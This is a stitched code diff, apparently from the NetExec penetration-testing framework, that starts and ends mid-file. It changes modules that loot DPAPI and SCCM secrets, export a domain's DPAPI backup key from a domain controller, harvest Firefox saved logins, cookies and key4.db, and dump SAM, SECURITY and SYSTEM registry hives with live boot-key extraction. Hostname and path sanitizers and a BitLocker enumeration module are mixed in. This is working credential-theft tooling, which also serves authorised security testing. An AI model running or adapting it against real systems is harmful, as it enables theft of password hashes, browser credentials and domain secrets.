secret.secret.decode("latin-1"),
"N/A",
)
elif isinstance(secret, SCCMCollection):
tag = "Collection Variable"
line = f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
f"SCCM - {tag}",
"SYSTEM",
secret.variable.decode("latin-1"),
secret.value.decode("latin-1"),
"N/A",
)
try:
sccm_triage = SCCMTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=sccm_callback)
sccm_triage.triage_sccm()
except Exception as e:
self.logger.debug(f"Error while looting sccm: {e}")
@property
def pvkbytes(self):
"""
The pvkbytes. If not already initialized, tries to set it
The precedence order is the following :
- Check the pvk argument
- Checks in the DB
- Get it from a domain controller
"""
# pvkbytes already loaded and in cache ? Serve it
if self._pvkbytes is not None:
return self._pvkbytes
pvkbytes = None
# First check the pvk argument and handle it
if self.connection.args.pvk is not None:
try:
with open(self.connection.args.pvk, "rb") as fd:
pvkbytes = fd.read()
self.connection.logger.success(f"Loading domain backupkey from {self.connection.args.pvk}")
except Exception as e:
self.connection.logger.fail(str(e))
# If no pvkbytes yet, then we check in the DB
if pvkbytes is None:
try:
results = self.connection.db.get_domain_backupkey(self.connection.domain)
except Exception:
self.connection.logger.fail("Your version of nxcdb is not up to date, run nxcdb and create a new workspace: 'workspace create dpapi' then re-run the dpapi option")
return False
if len(results) > 0:
self.connection.logger.success("Loading domain backupkey from nxcdb...")
pvkbytes = results[0][2]
# If no pvkbytes yet, then we can try to get it from a domain controller
if pvkbytes is None and self.connection.no_da is None and self.connection.args.local_auth is False:
try:
dc_target = SMBTarget.create(
domain=self.connection.domain,
username=self.connection.username,
password=self.connection.password,
address=self.connection.kdcHost, # querying DNS server for domain will return DC
lmhash=self.connection.lmhash,
nthash=self.connection.nthash,
do_kerberos=self.connection.kerberos,
aesKey=self.connection.aesKey,
use_kcache=self.connection.use_kcache,
)
dc_conn = DPLootSMBConnection(dc_target)
dc_conn.connect() # Connect to DC
if dc_conn.is_admin():
self.connection.logger.success("User is Domain Administrator, exporting domain backupkey...")
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
backupkey = backupkey_triage.triage_backupkey()
pvkbytes = backupkey.backupkey_v2
self.connection.db.add_domain_backupkey(self.connection.domain, pvkbytes)
else:
self.connection.no_da = False
except Exception as e:
self.connection.logger.fail(f"Could not get domain backupkey: {e}")
self._pvkbytes = pvkbytes
return self._pvkbytes
@@ -11,9 +11,8 @@ from dataclasses import dataclass
from typing import Any
from Cryptodome.Cipher import AES, DES3
from pyasn1.codec.der import decoder
from dploot.lib.smb import DPLootSMBConnection
from dploot.lib.network import DPLootConnection
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
CKA_ID = unhexlify("f8000000000000000000000000000001")
@@ -61,7 +60,7 @@ class FirefoxTriage:
"All Users",
)
def __init__(self, target, logger, conn: DPLootSMBConnection = None, per_secret_callback: Any = None):
def __init__(self, target, logger, conn: DPLootConnection = None, per_secret_callback: Any = None):
self.target = target
self.logger = logger
self.conn = conn
@@ -69,16 +68,13 @@ class FirefoxTriage:
self.per_secret_callback = per_secret_callback
def run(self, gather_cookies=False):
if self.conn is None:
upgrade_to_dploot_connection(target=self.target)
firefox_data = []
firefox_cookies = []
# list users
users = self.get_users()
users = self.conn.list_users()
for user in users:
try:
directories = self.conn.remote_list_dir(share=self.share, path=self.firefox_generic_path.format(user))
directories = self.conn.list_dir(share=self.share, path=self.firefox_generic_path.format(user))
except Exception as e:
if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
continue
@@ -89,18 +85,18 @@ class FirefoxTriage:
try:
if gather_cookies:
cookies_path = ntpath.join(self.firefox_generic_path.format(user), d.get_longname(), "cookies.sqlite")
cookies_data = self.conn.readFile(self.share, cookies_path)
cookies_data = self.conn.read_file(path=cookies_path, share=self.share)
if cookies_data is not None:
firefox_cookies += self.parse_cookie_data(user, cookies_data)
logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json"
logins_data = self.conn.readFile(self.share, logins_path)
logins_data = self.conn.read_file(path=logins_path, share=self.share)
if logins_data is None:
continue # No logins.json file found
logins = self.get_login_data(logins_data=logins_data)
if len(logins) == 0:
continue # No logins profile found
key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db"
key4_data = self.conn.readFile(self.share, key4_path)
key4_data = self.conn.read_file(path=key4_path, share=self.share)
if key4_data is None:
continue
# Get all available master keys (Firefox 144+ may have multiple keys)
@@ -252,17 +248,6 @@ class FirefoxTriage:
self.logger.debug(e)
return "", "", ""
def get_users(self):
users = []
users_dir_path = "Users\\*"
directories = self.conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
for d in directories:
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
users.append(d.get_longname()) # ruff: ignore[manual-list-comprehension], ignoring for readability
return users
@staticmethod
def decode_login_data(data):
asn1data = decoder.decode(b64decode(data))
+88
View File
@@ -1,9 +1,12 @@
from contextlib import suppress
from enum import Enum
import hashlib
import random
import string
import re
import inspect
import os
from unicodedata import normalize
from termcolor import colored
from ipaddress import ip_address
from nxc.logger import nxc_logger
@@ -26,6 +29,91 @@ def gen_random_string(length=10):
return "".join(random.sample(string.ascii_letters, int(length)))
def sanitize_dns(hostname, logger=nxc_logger):
"""Return an untrusted hostname or domain as a safe, nonempty string."""
# Always provide a safe fallback, even for missing or unstringable input.
if hostname is None:
return "_"
try:
hostname = hostname.decode("utf-8", errors="surrogateescape") if isinstance(hostname, bytes) else str(hostname)
except Exception:
return "_"
if not hostname:
return "_"
# Replace path, configuration, formatting, whitespace, and control characters.
unsafe_characters = '<>:"/\\|?*{}[]=#;\'' # Portable paths, format strings, hosts files, and krb5.conf
sanitized = "".join(
character if character.isprintable()
and not character.isspace()
and character not in unsafe_characters
and all(
normalized_character.isprintable()
and not normalized_character.isspace()
and normalized_character not in unsafe_characters
for normalized_character in normalize("NFKC", character)
)
else "_"
for character in hostname
)
# Neutralize traversal segments and Windows-trimmed trailing dots.
if normalize("NFKC", sanitized) in (".", ".."):
sanitized = "_" * len(sanitized)
if sanitized.endswith(".") or normalize("NFKC", sanitized[-1]).endswith("."):
sanitized = f"{sanitized[:-1]}_"
# Bound filename length while retaining a stable identifier for long names.
if len(sanitized.encode("utf-8")) > 253:
suffix = f"_{hashlib.sha256(hostname.encode('utf-8', errors='surrogatepass')).hexdigest()[:12]}"
byte_length = 0
truncated = []
for character in sanitized:
character_length = len(character.encode("utf-8"))
if byte_length + character_length > 253 - len(suffix):
break
truncated.append(character)
byte_length += character_length
sanitized = f"{''.join(truncated)}{suffix}"
# Fail closed if a future change violates any output invariant.
normalized = normalize("NFKC", sanitized)
if (
not sanitized
or not normalized
or len(sanitized.encode("utf-8")) > 253
or normalized in (".", "..")
or normalized.endswith(".")
or any(
not character.isprintable()
or character.isspace()
or character in unsafe_characters
or any(
not normalized_character.isprintable()
or normalized_character.isspace()
or normalized_character in unsafe_characters
for normalized_character in normalize("NFKC", character)
)
for character in sanitized
)
):
sanitized = "_"
# Report changed input without allowing logging failures to affect safety.
if sanitized != hostname:
received = ascii(hostname[:256])
result = ascii(sanitized)
if len(hostname) > 256 or len(received) > 256:
received = f"{received[:253]}..."
if len(result) > 256:
result = f"{result[:253]}..."
if logger is not None:
with suppress(Exception):
logger.fail(f"Unsafe hostname or domain received: {received}; using {result}")
return sanitized
def validate_ntlm(data):
allowed = re.compile(r"^[0-9a-f]{32}", re.IGNORECASE)
return bool(allowed.match(data))
+4
View File
@@ -12,6 +12,7 @@ import contextlib
def parse_challenge(challange):
target_info = {
"hostname": None,
"dns_hostname": None,
"domain": None,
"os_version": None
}
@@ -20,6 +21,9 @@ def parse_challenge(challange):
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
with contextlib.suppress(Exception):
target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
if av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME] is not None:
with contextlib.suppress(Exception):
target_info["dns_hostname"] = av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME][1].decode("utf-16le")
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
with contextlib.suppress(Exception):
target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
+94
View File
@@ -1,4 +1,98 @@
import hashlib
from pathlib import PurePosixPath
import re
from unicodedata import normalize
def sanitize_path_component(name, max_bytes=255):
"""Return one portable, bounded path component from untrusted input."""
# Reserve enough space for one character and the collision-resistant suffix.
if max_bytes < 14:
raise ValueError("max_bytes must be at least 14")
# Always provide a safe fallback, even for missing or unstringable input.
try:
name = name.decode("utf-8", errors="surrogateescape") if isinstance(name, bytes) else str(name) if name is not None else ""
except Exception:
name = ""
if not name:
return "_"
# Replace path, control, and Unicode-equivalent metacharacters.
unsafe_characters = '<>:"/\\|?*' # Portable filename metacharacters
sanitized = "".join(
character if character.isprintable()
and character not in unsafe_characters
and all(
normalized_character.isprintable() and normalized_character not in unsafe_characters
for normalized_character in normalize("NFKC", character)
)
else "_"
for character in name
)
# Neutralize traversal-only names and Windows-trimmed trailing dots or spaces.
if normalize("NFKC", sanitized) in (".", ".."):
sanitized = "_" * len(sanitized)
while sanitized and (
sanitized[-1] == "."
or sanitized[-1].isspace()
or normalize("NFKC", sanitized[-1]).endswith(".")
or any(character.isspace() for character in normalize("NFKC", sanitized[-1]))
):
sanitized = f"{sanitized[:-1]}_"
# Avoid Windows device names, including names followed by an extension.
normalized_stem = normalize("NFKC", sanitized).split(".", 1)[0].rstrip(" ").upper()
if normalized_stem in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"} or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem):
sanitized = f"_{sanitized}"
# Bound the byte length with a stable digest while preserving short extensions.
if len(sanitized.encode("utf-8")) > max_bytes:
digest = f"_{hashlib.sha256(name.encode('utf-8', errors='surrogatepass')).hexdigest()[:12]}"
extension = ""
extension_index = sanitized.rfind(".")
if (
extension_index > 0
and len(sanitized[extension_index:].encode("utf-8")) <= 32
and len(sanitized[extension_index:].encode("utf-8")) <= max_bytes - len(digest)
):
extension = sanitized[extension_index:]
sanitized = sanitized[:extension_index]
byte_length = 0
truncated = []
for character in sanitized:
character_length = len(character.encode("utf-8"))
if byte_length + character_length > max_bytes - len(digest) - len(extension.encode("utf-8")):
break
truncated.append(character)
byte_length += character_length
sanitized = f"{''.join(truncated)}{digest}{extension}"
# Fail closed if a future change violates any output invariant.
normalized = normalize("NFKC", sanitized)
normalized_stem = normalized.split(".", 1)[0].rstrip(" ").upper()
if (
not sanitized
or not normalized
or len(sanitized.encode("utf-8")) > max_bytes
or normalized in (".", "..")
or normalized.endswith(".")
or normalized[-1].isspace()
or normalized_stem in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"}
or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem)
or any(
not character.isprintable()
or character in unsafe_characters
or any(
not normalized_character.isprintable() or normalized_character in unsafe_characters
for normalized_character in normalize("NFKC", character)
)
for character in sanitized
)
):
return "_"
return sanitized
def sanitize_filename(name: str) -> str:
+26 -4
View File
@@ -28,6 +28,7 @@
import os
import secrets
import tempfile
import hashlib
import datetime
import random
@@ -70,7 +71,8 @@ from minikerberos.common.ccache import CCACHE
from impacket.krb5.ccache import CCache as impacket_CCache
from nxc.paths import NXC_PATH
from nxc.paths import NXC_PATH, TMP_PATH
from nxc.helpers.path import sanitize_path_component
from nxc.logger import nxc_logger
@@ -187,7 +189,7 @@ class myPKINIT:
else:
cname = [self.cname]
now = datetime.datetime.now(datetime.timezone.utc)
now = datetime.datetime.now(datetime.UTC)
kdc_req_body_data = {}
kdc_req_body_data["kdc-options"] = KDCOptions(kdcopts)
@@ -530,8 +532,8 @@ def pfx_auth(self):
return False
username = self.args.username[0]
basename = f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache"
log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{basename}"))
basename = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache")
log_ccache = os.path.normpath(os.path.expanduser(os.path.join(NXC_PATH, "logs", basename)))
# Request a TGT with the cert data
req = ini.build_asreq(self.domain, username)
@@ -568,3 +570,23 @@ def pfx_auth(self):
self.logger.info("Successfully authenticated using Certificate")
return True
def certificate_options(args):
"""Return the LDAPConnection certificate options for the command line material, plus a temporary file the caller must delete."""
if args.pfx_cert:
return {"pfxfile": args.pfx_cert, "pfxpass": args.pfx_pass}, None
if args.pem_cert and args.pem_key:
return {"certfile": args.pem_cert, "keyfile": args.pem_key}, None
if args.pfx_base64:
with open(args.pfx_base64, "rb") as pfx_base64_file:
pfxdata = base64.b64decode(pfx_base64_file.read())
# impacket loads the bundle from a path, so the decoded PFX has to hit the disk
handle, pfx_path = tempfile.mkstemp(suffix=".pfx", dir=TMP_PATH)
with os.fdopen(handle, "wb") as pfx_file:
pfx_file.write(pfxdata)
return {"pfxfile": pfx_path, "pfxpass": args.pfx_pass}, pfx_path
raise ValueError("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
+31
View File
@@ -99,3 +99,34 @@ class NXCRPCConnection:
self.setup_credentials(rpc_transport, anonymous_rpc)
return rpc_transport
def dcom_FirewallChecker(iInterface, remoteHost, timeout, logger):
stringBindings = iInterface.get_cinstance().get_string_bindings()
for strBinding in stringBindings:
if strBinding["wTowerId"] == 7:
if strBinding["aNetworkAddr"].find("[") >= 0:
binding, _, bindingPort = strBinding["aNetworkAddr"].partition("[")
bindingPort = "[" + bindingPort
else:
binding = strBinding["aNetworkAddr"]
bindingPort = ""
if binding.upper().find(iInterface.get_target().upper()) >= 0:
stringBinding = "ncacn_ip_tcp:" + strBinding["aNetworkAddr"][:-1]
break
elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition(".")[0]) >= 0:
stringBinding = f"ncacn_ip_tcp:{iInterface.get_target()}{bindingPort}"
if "stringBinding" not in locals():
return True, None
try:
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.setRemoteHost(remoteHost)
rpctransport.set_connect_timeout(timeout)
rpctransport.connect()
rpctransport.disconnect()
except Exception as e:
logger.debug(f"Exception while connecting to {stringBinding}: {e}")
return False, stringBinding
else:
return True, stringBinding
+95 -6
View File
@@ -1,5 +1,6 @@
import contextlib
import re
from binascii import unhexlify
from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
from impacket.smbconnection import SessionError
@@ -23,10 +24,61 @@ class NXCModule:
self.machine_account_hash = None
self.cleanup_user = None
self.cleanup_hash = None
self.system_hive_saved = False
def options(self, context, module_options):
"""NO OPTIONS"""
def get_boot_key(self, context, dce):
"""
Reads the boot key LIVE from the four Lsa subkeys' class-name field over RPC,
using the already-connected `dce` this module sets up for the SAM/SECURITY
hive saves. If this succeeds, no SYSTEM hive is ever saved to SYSVOL or
downloaded at all.
Hand-ported from impacket's RemoteOperations.getBootKey() rather than calling
RemoteOperations directly, because RemoteOperations.enableRegistry() starts the
RemoteRegistry service via the Service Control Manager -- which needs admin-level
rights a plain Backup Operator doesn't have. This module already gets
RemoteRegistry running via trigger_winreg()'s named-pipe trick instead, which
works within Backup Operator's actual privileges (SeBackupPrivilege), so we reuse
that connection here.
Raises on any failure (access denied, path not allowed remotely, RPC error, etc.)
so the caller can fall back to the full SYSTEM hive save/download path.
"""
boot_key = b""
ans = rrp.hOpenLocalMachine(dce)
reg_handle = ans["phKey"]
for key in ["JD", "Skew1", "GBG", "Data"]:
context.log.debug(f"Retrieving class info for Lsa\\{key}")
ans = rrp.hBaseRegOpenKey(
dce,
reg_handle,
f"SYSTEM\\CurrentControlSet\\Control\\Lsa\\{key}",
dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK,
samDesired=rrp.KEY_READ,
)
key_handle = ans["phkResult"]
ans = rrp.hBaseRegQueryInfoKey(dce, key_handle)
class_out = ans["lpClassOut"]
if isinstance(class_out, str):
class_out = class_out.encode()
boot_key += class_out[:-1]
rrp.hBaseRegCloseKey(dce, key_handle)
rrp.hBaseRegCloseKey(dce, reg_handle)
transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]
boot_key = unhexlify(boot_key)
final_boot_key = b""
for i in range(len(boot_key)):
final_boot_key += boot_key[transforms[i]:transforms[i] + 1]
return final_boot_key
def on_login(self, context, connection):
connection.args.share = "SYSVOL"
rand_suffix = gen_random_string(8)
@@ -36,8 +88,11 @@ class NXCModule:
connection.trigger_winreg()
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
boot_key = None
try:
for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
# Large hives can take minutes to save before the RPC call returns.
connection.conn.setTimeout(max(connection.args.smb_timeout, 60))
for hive in ["HKLM\\SAM", "HKLM\\SECURITY"]:
hRootKey, subKey = self._strip_root_key(dce, hive)
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}"
context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
@@ -48,17 +103,44 @@ class NXCModule:
except Exception as e:
context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}")
return
try:
context.log.display("Attempting to retrieve boot key live from the remote registry...")
boot_key = self.get_boot_key(context, dce)
context.log.highlight("Boot key retrieved live -- skipping SYSTEM hive save/download.")
except Exception as e:
context.log.fail(f"Live boot key retrieval failed ({type(e).__name__}: {e}), falling back to full SYSTEM hive download...")
boot_key = None
if boot_key is None:
hRootKey, subKey = self._strip_root_key(dce, "HKLM\\SYSTEM")
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}"
context.log.debug("Dumping HKLM\\SYSTEM, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
try:
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName)
context.log.highlight(f"Saved HKLM\\SYSTEM to {outputFileName}")
self.system_hive_saved = True
except Exception as e:
context.log.fail(f"Couldn't save HKLM\\SYSTEM: {e} on path {outputFileName}")
return
except (Exception, KeyboardInterrupt) as e:
context.log.fail(f"Unexpected error: {e}")
return
finally:
connection.conn.setTimeout(connection.args.smb_timeout)
with contextlib.suppress(Exception):
dce.disconnect()
# copy remote file to local
log_path = f"{connection.output_filename}."
for hive in ["SAM", "SECURITY", "SYSTEM"]:
connection.conn.setTimeout(max(connection.args.smb_timeout, 60))
hives_to_download = ["SAM", "SECURITY"]
if self.system_hive_saved:
hives_to_download.append("SYSTEM")
for hive in hives_to_download:
connection.get_file_single(f"{hive}_{rand_suffix}", log_path + hive)
connection.conn.setTimeout(connection.args.smb_timeout)
# read local file
try:
@@ -84,8 +166,10 @@ class NXCModule:
self.machine_account = account_name if account_name.endswith("$") else f"{connection.hostname}$"
return
local_operations = LocalOperations(log_path + "SYSTEM")
boot_key = local_operations.getBootKey()
if boot_key is None:
local_operations = LocalOperations(log_path + "SYSTEM")
boot_key = local_operations.getBootKey()
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=parse_sam)
sam_hashes.dump()
sam_hashes.finish()
@@ -137,7 +221,9 @@ class NXCModule:
connection.create_conn_obj()
if connection.hash_login(connection.domain, username, user_hash):
context.log.display(f"Cleaning dump with user {username} on domain {connection.domain}")
hives = ["SAM", "SECURITY", "SYSTEM"]
hives = ["SAM", "SECURITY"]
if self.system_hive_saved:
hives.append("SYSTEM")
all_deleted = True
for hive in hives:
remote_name = f"{hive}_{rand_suffix}"
@@ -194,7 +280,10 @@ class NXCModule:
return None, None
def _print_cleanup_warning(self, context, rand_suffix):
context.log.fail(f"Files were not automatically deleted. Please clean up manually: C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SAM_{rand_suffix}, SYSTEM_{rand_suffix}")
paths = f"C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SAM_{rand_suffix}"
if self.system_hive_saved:
paths += f", SYSTEM_{rand_suffix}"
context.log.fail(f"Files were not automatically deleted. Please clean up manually: {paths}")
def _strip_root_key(self, dce, key_name):
# Let's strip the root key
+116 -141
View File
@@ -1,141 +1,116 @@
import re
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "bitlocker"
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
supported_protocols = ["smb", "wmi"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
USAGE:
NetExec smb <IP> -u <username> -p <password> -M bitlocker
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
"""
def on_admin_login(self, context, connection):
if context.protocol == "smb":
bitlocker_smb = BitLockerSMB(context, connection)
bitlocker_smb.check_bitlocker_status()
elif context.protocol == "wmi":
bitlocker_wmi = BitLockerWMI(context, connection)
bitlocker_wmi.check_bitlocker_status()
class BitLockerSMB:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# PowerShell command to check BitLocker volumes status.
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
try:
# Executing the PowerShell command to get BitLocker volumes status.
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
self.context.log.fail("BitLockerVolume not found on target.")
return
# Splitting the output into lines.
lines = str(check_bitlocker_command_str_output).splitlines()
data_lines = [line for line in lines if re.match(r"\w:", line)]
for line in data_lines:
# Checking every line for starting with drive
if line[1] == ":":
parts = line.split()
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
# Checking if BitLocker is enabled.
if protection_status == "On":
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
else:
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
except Exception as e:
self.context.log.exception(f"Exception occurred: {e}")
class BitLockerWMI:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
try:
# Create a DCOM connection
dcom_conn = DCOMConnection(
self.connection.host,
self.connection.username,
self.connection.password,
self.connection.domain,
self.connection.lmhash,
self.connection.nthash,
oxidResolver=True,
doKerberos=self.connection.kerberos,
kdcHost=self.connection.kdcHost)
try:
# CoCreateInstanceEx for WMI login
i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
# Specify the namespace for BitLocker
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
# NTLM login for WMI
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
# Set authentication level
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
# Query to get BitLocker status
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
encryptionTypeMapping = {
0: "None",
1: "AES_128_WITH_DIFFUSER",
2: "AES_256_WITH_DIFFUSER",
3: "AES_128",
4: "AES_256",
5: "HARDWARE_ENCRYPTION",
6: "XTS_AES_128",
7: "XTS_AES_256_WITH_DIFFUSER"
}
try:
while True:
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
if iWbemClassObject[0].ProtectionStatus == 1:
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
else:
if encryptionMethod == 0: # Should be 0 if disabled
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
except Exception:
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
# Release resources
iWbemLevel1Login.RemRelease()
iWbemServices.RemRelease()
dcom_conn.disconnect()
except Exception as e:
if "WBEM_E_INVALID_NAMESPACE" in str(e):
self.context.log.fail("BitLockerNamespace not found on target.")
dcom_conn.disconnect()
except Exception as e:
self.context.log.error(f"Error occurred during BitLocker check: {e}")
dcom_conn.disconnect()
import re
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "bitlocker"
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
supported_protocols = ["smb", "wmi"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
USAGE:
NetExec smb <IP> -u <username> -p <password> -M bitlocker
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
"""
def on_admin_login(self, context, connection):
if context.protocol == "smb":
bitlocker_smb = BitLockerSMB(context, connection)
bitlocker_smb.check_bitlocker_status()
elif context.protocol == "wmi":
bitlocker_wmi = BitLockerWMI(context, connection)
bitlocker_wmi.check_bitlocker_status()
class BitLockerSMB:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# PowerShell command to check BitLocker volumes status.
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
try:
# Executing the PowerShell command to get BitLocker volumes status.
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
self.context.log.fail("BitLockerVolume not found on target.")
return
# Splitting the output into lines.
lines = str(check_bitlocker_command_str_output).splitlines()
data_lines = [line for line in lines if re.match(r"\w:", line)]
for line in data_lines:
# Checking every line for starting with drive
if line[1] == ":":
parts = line.split()
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
# Checking if BitLocker is enabled.
if protection_status == "On":
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
else:
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
except Exception as e:
self.context.log.exception(f"Exception occurred: {e}")
class BitLockerWMI:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# Reuse the wmi protocol's authenticated IWbemLevel1Login instead of
# creating a second DCOMConnection to the same target (whose disconnect
# would clash with the protocol's own)
try:
iWbemLevel1Login = self.connection.iWbemLevel1Login
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
iWbemLevel1Login.RemRelease()
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
encryptionTypeMapping = {
0: "None",
1: "AES_128_WITH_DIFFUSER",
2: "AES_256_WITH_DIFFUSER",
3: "AES_128",
4: "AES_256",
5: "HARDWARE_ENCRYPTION",
6: "XTS_AES_128",
7: "XTS_AES_256_WITH_DIFFUSER"
}
try:
while True:
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
if iWbemClassObject[0].ProtectionStatus == 1:
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
else:
if encryptionMethod == 0: # Should be 0 if disabled
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
except Exception:
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
iWbemServices.RemRelease()
except Exception as e:
if "WBEM_E_INVALID_NAMESPACE" in str(e):
self.context.log.fail("BitLockerNamespace not found on target.")
else:
self.context.log.exception(f"Exception occurred: {e}")
+8 -6
View File
@@ -2,12 +2,14 @@
import json
import socket
from os import makedirs
from os.path import join
from certipy.commands.find import Find
from certipy.lib.target import Target, DnsResolver
from certipy.lib.formatting import pretty_print
from datetime import datetime
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
@@ -34,7 +36,7 @@ class NXCModule:
"""
self.vuln = True
self.enabled = False
self.output_path = f"{NXC_PATH}/modules/certipy-find"
self.output_path = join(NXC_PATH, "modules", "certipy-find")
self.json = False
self.csv = False
self.text = False
@@ -119,9 +121,9 @@ class NXCModule:
if self.json or self.csv or self.text:
makedirs(self.output_path, exist_ok=True)
